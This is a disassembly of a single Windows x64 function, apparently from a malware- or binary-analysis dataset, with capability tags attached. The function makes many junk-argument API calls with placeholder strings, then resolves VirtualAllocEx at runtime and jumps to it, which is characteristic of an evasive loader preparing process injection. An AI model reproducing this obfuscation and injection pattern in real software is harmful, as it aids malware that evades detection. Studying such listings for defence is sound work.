Function at 0x6bad2bf5
Capabilities:
Clear file content
Set current directory

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb8
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0x9c], eax
mov rax, qword [0x6bb80f80]
mov qword [rsp + 0x80], rcx
cmp dword [rax], 0x38c9
mov qword [rsp + 0x88], rdx
mov qword [rsp + 0x90], r8
mov dword [rsp + 0x98], r9d
jle 0x6bad3486
mov rsi, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x6bb809e0]
xor r8d, r8d
xor edx, edx
mov r12, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
mov dword [rax], 0xd987a293
call r12
mov rax, qword [0x6bb80520]
mov dword [rax], 0xdfbc60cd
mov rax, qword [0x6bb80b30]
mov ecx, dword [rax]
call fcn.6bad9c90
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x6bb80760]
mov dword [rdx], eax
xor edx, edx
call rsi
xor r9d, r9d
xor r8d, r8d
mov rbp, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbp
mov rdi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.AlanaMarquardtV
lea rcx, str.Culpa_aliquid_voluptas_animi_id_ut_veniam_optio
call rdi
mov rax, qword [0x6bb80750]
mov ecx, 0x16ec2f38
mov edx, dword [rax]
mov rax, qword [0x6bb80590]
mov dword [rax], edx
call fcn.6bad9c90
mov rbx, qword [0x6bb80990]
mov r14, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rbx], eax
call r14
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rbx, qword [0x6bb805f0]
mov rcx, qword [0x6bb81060]
mov eax, dword [rbx]
mov dword [rcx], eax
mov rax, qword [0x6bb80580]
lea rcx, str.Laboriosam_aperiam_quisquam
mov edx, dword [rax]
mov rax, qword [0x6bb80a30]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov qword [rsp + 0x60], rax
call rax
mov ecx, 0x6516814e
call fcn.6bad9c90
mov rcx, qword [0x6bb80750]
mov dword [rcx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x6bb809d0]
mov r13, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80f00]
mov dword [rax], edx
mov rax, qword [0x6bb807a0]
mov dword [rax], 0x99201ba8
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbp
mov rax, qword [0x6bb80940]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xa8ad2ed3
call r12
mov rax, qword [0x6bb80dc0]
lea rdx, str.Veritatis_eaque_consequatur_incidunt_a_quo
lea rcx, str.Sequi_quis_possimus_placeat_ea
mov dword [rax], 0x10a5495c
call rdi
mov rdi, qword [0x6bb81040]
mov rax, qword [0x6bb80890]
mov ecx, dword [rdi]
mov edx, dword [rax]
mov rax, qword [0x6bb80920]
mov dword [rax], edx
call fcn.6bad9c90
mov rdx, qword [0x6bb80fa0]
mov ecx, 0xddebb0a
mov dword [rdx], eax
call fcn.6bad9c90
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x6bb80ac0]
mov dword [rax], 0x75d18d9f
mov rax, qword [0x6bb811a0]
mov dword [rax], 0xaae08253
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov qword [rsp + 0x48], rax
call rax
mov r12, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
call r12
mov rax, qword [0x6bb80930]
mov rdi, qword [0x6bb80890]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
call r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.Esse_voluptates_fuga_sunt
mov qword [rsp + 0x50], rax
call rax
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
call rbp
mov ecx, dword [rbx]
call fcn.6bad9c90
mov rbx, qword [0x6bb80fd0]
xor edx, edx
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x6bb80a00]
mov edx, dword [rax]
mov rax, qword [0x6bb80830]
mov dword [rax], edx
mov rax, qword [0x6bb80e80]
mov dword [rax], 0xc814a620
mov rax, qword [0x6bb81130]
mov edx, dword [rax]
mov rax, qword [0x6bb80d60]
mov dword [rax], edx
mov rax, qword [0x6bb80770]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdi, qword [0x6bb80b00]
mov rbx, qword [0x6bb80780]
xor ecx, ecx
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov dword [rdi], eax
mov rax, qword [0x6bb810c0]
mov eax, dword [rax]
mov dword [rbx], eax
call r15
xor ecx, ecx
call r13
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], rax
call rax
mov rax, qword [0x6bb80d00]
mov ecx, dword [rax]
call fcn.6bad9c90
mov r10, qword [sym.imp.KERNEL32.dll_SetLastError]
mov rdi, qword [0x6bb80de0]
xor ecx, ecx
mov qword [rsp + 0xa8], r10
mov dword [rdi], eax
call r10
mov rax, qword [0x6bb80f10]
mov rbx, qword [0x6bb81060]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x6bb80dd0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80a70]
mov rdi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor ecx, ecx
call r13
mov ecx, 0xdf7df1ed
call fcn.6bad9c90
mov rdx, qword [0x6bb80d70]
mov rbx, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.EmeliaUpton
mov dword [rdx], eax
xor edx, edx
call rbx
xor ecx, ecx
call r13
mov rax, qword [0x6bb80600]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80b40]
mov dword [rax], edx
call r12
mov rax, qword [0x6bb81100]
mov ecx, dword [rax]
call fcn.6bad9c90
mov r11, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rdx, qword [0x6bb80a10]
xor ecx, ecx
mov qword [rsp + 0xa0], r11
mov dword [rdx], eax
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rbp
mov rax, qword [0x6bb80890]
mov ecx, dword [rax]
call fcn.6bad9c90
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x6bb809e0]
mov dword [rcx], eax
xor ecx, ecx
call rsi
xor ecx, ecx
call rdi
xor ecx, ecx
call r14
mov rax, qword [0x6bb807a0]
xor ecx, ecx
mov dword [rax], 0x55ccdb7f
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
call r15
mov rbp, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [0x6bb806d0]
lea rcx, str.TressieHeathcote
mov edx, dword [rax]
mov rax, qword [0x6bb80540]
mov dword [rax], edx
xor edx, edx
call rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rax, qword [0x6bb806c0]
xor edx, edx
lea rcx, str.Totam_odio_dolor_et_non_ut_animi
mov dword [rax], 0x297644fa
call rbx
mov r10, qword [rsp + 0xa8]
xor ecx, ecx
call r10
xor edx, edx
lea rcx, str.ProfBertCarrollDVM
call rbx
mov r10, qword [0x6bb81190]
mov rsi, qword [0x6bb80840]
lea rcx, str.TyreekDenesik
mov eax, dword [r10]
mov dword [rsi], eax
mov rax, qword [0x6bb80b10]
mov edx, dword [rax]
mov rax, qword [0x6bb80db0]
mov dword [rax], edx
xor edx, edx
call rbx
xor edx, edx
xor ecx, ecx
call rbp
xor ecx, ecx
call rdi
mov rsi, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.XzavierPaucek
call rsi
mov r14, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x6bb806c0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80730]
mov dword [rax], edx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x6bb81030]
mov rdx, qword [0x6bb806c0]
xor ecx, ecx
lea r8, str.Et_tempora_sit_amet_facere_nisi_nobis_sunt_asperiores
mov dword [rax], 0x46511f40
mov rax, qword [0x6bb80c90]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x6bb807e0]
mov edx, dword [rax]
mov rax, qword [0x6bb80fb0]
mov dword [rax], edx
xor edx, edx
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x6bb80950]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb81080]
mov dword [rax], edx
mov rax, qword [0x6bb80780]
mov edx, dword [rax]
mov rax, qword [0x6bb80ca0]
mov dword [rax], edx
mov rax, qword [0x6bb80a20]
xor edx, edx
mov dword [rax], 0xf62d4f8c
mov rax, qword [rsp + 0x78]
call rax
lea rcx, str.A_id_placeat_vitae
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x6bb805c0]
lea rcx, str.Rerum_molestiae_ipsum_praesentium_aliquid_error_distinctio_cum_quaerat_corporis_mollitia
mov dword [rax], 0xb8065f0d
mov rax, qword [rsp + 0x60]
call rax
lea r8, str.Illo_id_voluptatem_quo_dicta_temporibus_ullam_rerum
xor edx, edx
xor ecx, ecx
call rsi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x6bb80a40]
mov ecx, dword [rax]
call fcn.6bad9c90
mov r10, qword [0x6bb81190]
xor edx, edx
xor ecx, ecx
mov dword [r10], eax
mov rax, qword [0x6bb809b0]
mov dword [rax], 0x7e1c9be3
mov rax, qword [0x6bb80780]
mov dword [rax], 0x41b3e653
call r14
xor ecx, ecx
call r12
mov rax, qword [0x6bb80a50]
mov dword [rax], 0xfade3fae
mov rax, qword [0x6bb80fd0]
mov edx, dword [rax]
mov rax, qword [0x6bb811b0]
mov dword [rax], edx
mov rax, qword [0x6bb80560]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80ed0]
xor ecx, ecx
mov dword [rdx], eax
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x6bb81180]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80d30]
mov dword [rax], edx
mov rax, qword [0x6bb810c0]
xor edx, edx
mov dword [rax], 0xe7eeeaa1
call rbp
xor edx, edx
xor ecx, ecx
call r14
lea rcx, str.Beatae_ratione_et_eos_ullam_ea_nam_et_aut
mov rax, qword [rsp + 0x50]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rax, qword [0x6bb80f20]
mov rsi, qword [0x6bb80840]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
call rdi
mov rax, qword [0x6bb80de0]
mov r11, qword [rsp + 0xa0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x6bb80870]
mov dword [rax], edx
call r11
mov ecx, 0xaa2d45b7
call fcn.6bad9c90
mov rdi, qword [0x6bb80750]
mov dword [rdi], eax
mov rax, qword [0x6bb80b00]
mov edx, dword [rax]
mov rax, qword [0x6bb80ff0]
mov dword [rax], edx
mov rax, qword [0x6bb809d0]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb81070]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [0x6bb80910]
mov ecx, dword [rax]
call fcn.6bad9c90
mov rdx, qword [0x6bb80b50]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov rax, qword [0x6bb806d0]
mov rsi, qword [0x6bb80d50]
mov ecx, dword [rax]
mov dword [rsi], 0x6f99273f
call fcn.6bad9c90
mov rdx, qword [0x6bb80e00]
lea rcx, str.Et_cupiditate_voluptas_enim
mov dword [rdx], eax
mov rax, qword [0x6bb811f0]
mov edx, dword [rax]
mov rax, qword [0x6bb80530]
mov dword [rax], edx
mov edx, dword [rsi]
mov rax, qword [0x6bb809c0]
mov dword [rax], edx
xor edx, edx
call rbx
mov rax, qword [0x6bb81010]
mov ecx, 0xae0e59e7
mov dword [rax], 0x83ee4b77
call fcn.6bad9c90
mov rbx, qword [0x6bb80a10]
mov ecx, 0xf3cf9d31
mov dword [rbx], eax
mov rax, qword [0x6bb805d0]
mov dword [rax], 0xa045dbf8
mov rax, qword [0x6bb80990]
mov edx, dword [rax]
mov rax, qword [str.eNl.h_Q]
mov dword [rax], edx
call fcn.6bad9c90
mov rdx, qword [0x6bb80510]
mov dword [rdx], eax
lea rdx, str.VirtualAllocEx
lea rcx, str.kernel32.dll
call fcn.6bad0f55
mov esi, dword [rsp + 0x9c]
mov r9d, dword [rsp + 0x98]
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
mov dword [rsp + 0x120], esi
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax